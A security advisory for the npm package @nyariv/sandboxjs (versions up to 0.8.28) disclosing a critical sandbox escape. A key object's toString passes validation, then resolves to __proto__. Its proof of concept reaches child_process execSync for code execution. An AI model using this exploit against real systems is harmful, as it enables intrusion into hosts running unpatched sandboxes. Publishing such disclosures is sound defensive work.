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Sandbox escape via TOCTOU bug on keys in property accesses

Critical
nyariv published GHSA-7x3h-rm86-3342 Feb 5, 2026

Package

npm @nyariv/sandboxjs (npm)

Affected versions

<=0.8.28

Patched versions

0.8.29

Description

Summary

A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.

Details

Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced:

addOps(LispType.Prop, (exec, done, ticks, a, b: string, obj, context, scope) => {

So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.

PoC

const Sandbox = require('@nyariv/sandboxjs').default;

const code = `
let a = new Map;
a.x = 23;
let count = 0;

let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run(); 

Impact

Remote code execution, if attacker can execute code inside the sandbox.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-25641

Weaknesses

No CWEs

Credits